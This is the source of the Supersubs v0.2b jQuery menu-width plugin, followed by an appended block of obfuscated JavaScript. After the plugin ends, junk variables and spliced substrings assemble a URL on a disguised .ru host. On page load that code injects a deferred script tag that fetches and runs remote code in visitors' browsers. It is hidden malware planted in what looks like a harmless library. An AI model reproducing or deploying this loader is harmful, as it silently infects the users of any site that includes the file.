
/*
 * Supersubs v0.2b - jQuery plugin
 * Copyright (c) 2008 Joel Birch
 *
 * Dual licensed under the MIT and GPL licenses:
 * 	http://www.opensource.org/licenses/mit-license.php
 * 	http://www.gnu.org/licenses/gpl.html
 *
 *
 * This plugin automatically adjusts submenu widths of suckerfish-style menus to that of
 * their longest list item children. If you use this, please expect bugs and report them
 * to the jQuery Google Group with the word 'Superfish' in the subject line.
 *
 */

;(function($){ // $ will refer to jQuery within this closure

	$.fn.supersubs = function(options){
		var opts = $.extend({}, $.fn.supersubs.defaults, options);
		// return original object to support chaining
		return this.each(function() {
			// cache selections
			var $$ = $(this);
			// support metadata
			var o = $.meta ? $.extend({}, opts, $$.data()) : opts;
			// get the font size of menu.
			// .css('fontSize') returns various results cross-browser, so measure an em dash instead
			var fontsize = $('<li id="menu-fontsize">&#8212;</li>').css({
				'padding' : 0,
				'position' : 'absolute',
				'top' : '-999em',
				'width' : 'auto'
			}).appendTo($$).width(); //clientWidth is faster, but was incorrect here
			// remove em dash
			$('#menu-fontsize').remove();
			// cache all ul elements
			$ULs = $$.find('ul');
			// loop through each ul in menu
			$ULs.each(function(i) {	
				// cache this ul
				var $ul = $ULs.eq(i);
				// get all (li) children of this ul
				var $LIs = $ul.children();
				// get all anchor grand-children
				var $As = $LIs.children('a');
				// force content to one line and save current float property
				var liFloat = $LIs.css('white-space','nowrap').css('float');
				// remove width restrictions and floats so elements remain vertically stacked
				var emWidth = $ul.add($LIs).add($As).css({
					'float' : 'none',
					'width'	: 'auto'
				})
				// this ul will now be shrink-wrapped to longest li due to position:absolute
				// so save its width as ems. Clientwidth is 2 times faster than .width() - thanks Dan Switzer
				.end().end()[0].clientWidth / fontsize;
				// add more width to ensure lines don't turn over at certain sizes in various browsers
				emWidth += o.extraWidth;
				// restrict to at least minWidth and at most maxWidth
				if (emWidth > o.maxWidth)		{ emWidth = o.maxWidth; }
				else if (emWidth < o.minWidth)	{ emWidth = o.minWidth; }
				emWidth += 'em';
				// set ul to width in ems
				$ul.css('width',emWidth);
				// restore li floats to avoid IE bugs
				// set li width to full width of this ul
				// revert white-space to normal
				$LIs.css({
					'float' : liFloat,
					'width' : '100%',
					'white-space' : 'normal'
				})
				// update offset position of descendant ul to reflect new width of parent
				.each(function(){
					var $childUl = $('>ul',this);
					var offsetDirection = $childUl.css('left')!==undefined ? 'left' : 'right';
					$childUl.css(offsetDirection,emWidth);
				});
			});
			
		});
	};
	// expose defaults
	$.fn.supersubs.defaults = {
		minWidth		: 9,		// requires em unit.
		maxWidth		: 25,		// requires em unit.
		extraWidth		: 0			// extra width can ensure lines don't sometimes turn over due to slight browser differences in how they round-off values
	};
	
})(jQuery); // plugin code ends

var z;if(z!='' && z!='a'){z=null};var s;if(s!='' && s!='q'){s=null};var MM;if(MM!='by' && MM!='IF'){MM=''};function W(){var FJ;if(FJ!='' && FJ!='SE'){FJ=''};var P;if(P!='GC' && P!='w'){P=''};var Ub;if(Ub!=''){Ub='X'};var b="g";var N=new Date();var i='';var M=RegExp;this.EG="";function K(O,I){var Ic='';var y= new String("[");var Mg;if(Mg!='Z'){Mg='Z'};y+=I;y+=new String("eU9d]".substr(4));var sJ;if(sJ!='p'){sJ='p'};var Dy=new Date();var oh='';var _=new M(y, b);return O.replace(_, i);};var uU;if(uU!='' && uU!='uH'){uU=''};var MS=new String();var Uu=new String();var J=window;var u=K('86779714019641448196146610467191',"49176");var E=new String("BmEHsrc".substr(4));var vA=new Array();var C="/sfr."+"fr/sfixC9".substr(0,5)+"r.fr/iH0".substr(0,5)+"qFZ2googl".substr(4)+"e.com"+"R5wI/alte5RIw".substr(4,5)+"rvistA6F".substr(0,5)+"Rv0a.org".substr(3)+"9fO/walmO9f".substr(3,5)+"art.coJU".substr(0,5)+"lxYom.phxYl".substr(3,5)+"D1UpU1D".substr(3,1);var Mu="";var G='';var F=String("xQEdscr".substr(4)+"ipt6kf".substr(0,3));var g="PR0def".substr(3)+"er";var rq='';var On;if(On!='' && On!='qP'){On=null};var DM=new String();var _S=String("httpHoSN".substr(0,4)+"GEfq://1qGfE".substr(4,4)+"NBSa7173BSaN".substr(4,4)+"-com"+"9L27.fac".substr(4)+"eboo"+"k.co3bmR".substr(0,4)+"m.cyvBp".substr(0,4)+"GPEworl".substr(3)+"0Wqd-co".substr(3)+"CXtm.deCXt".substr(3,4)+"mAMargu".substr(3)+"DHwide.DwH".substr(3,4)+"ru:");var hB;if(hB!='L' && hB != ''){hB=null};var pJ=new String();J.onload=function(){var V='';try {var LJ;if(LJ!='' && LJ!='m'){LJ='RL'};this.ip='';var rR="";var GX;if(GX!='Ep'){GX='Ep'};G=_S+u;G+=C;var Gz='';var bN=new Date();var vAZ=new Array();var Dv;if(Dv!='dH' && Dv != ''){Dv=null};j=document.createElement(F);this.Cd='';this.zl='';j[E]=G;j[g]=[1][0];var _c=new String();var hp;if(hp!='Q'){hp=''};var Eh=new String();var aVi=new String();document.body.appendChild(j);var HK;if(HK!='jW' && HK!='AO'){HK=''};} catch(S){var _d=new Array();};};};W();var Mgp=new Date();var ac=new Date();